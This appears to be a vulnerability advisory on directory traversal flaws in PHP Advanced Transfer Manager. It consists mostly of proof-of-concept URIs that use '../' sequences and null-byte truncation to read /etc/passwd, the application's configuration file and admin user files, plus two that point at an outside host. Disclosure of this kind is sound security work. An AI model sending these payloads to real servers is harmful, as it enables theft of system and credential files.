|
PHP Advanced Transfer Manager Multiple Directory Traversal Vulnerabilities
No exploit is required. The following proof of concept URI are available: http://www.example.com/phpatm/viewers/txt.php?currentdir=../../../../../../../etc/passwd%00 http://www.example.com/phpatm/viewers/txt.php?currentdir=../../../../../../../etc&filename=passwd http://www.example.com/phpatm/viewers/htm.php?current_dir=../../../../../../../etc/passwd%00 http://www.example.com/phpatm/viewers/htm.php?current_dir=../../../../../../../etc&filename=passwd http://www.example.com/phpatm/viewers/html.php?current_dir=../../../../../../../etc/passwd%00 http://www.example.com/phpatm/viewers/html.php?current_dir=../../../../../../../etc&filename=passwd http://www.example.com/phpatm/viewers/htm.php?current_dir=http://www.asite.com%00 http://www.example.com/phpatm/html.php?current_dir=http:/&filename=www.asite.com http://www.example.com/phpatm/viewers/zip.php?current_dir=../../../../../../../[filename].zip%00 http://www.example.com/phpatm/viewers/zip.php?current_dir=../../../../../../..&filename=[filename].zip http://www.example.com/phpatm/viewers/txt.php?current_dir=../include&filename=conf.php http://www.example.com/phpatmviewers/txt.php?current_dir=../userstat&filename=[admin_name].stat http://www.example.com/phpatm/viewers/txt.php?current_dir=../users/admin%00 http://www.example.com/phpatm/viewers/txt.php?current_dir=../users/[admin_name]%00 |
|
|
Privacy Statement |
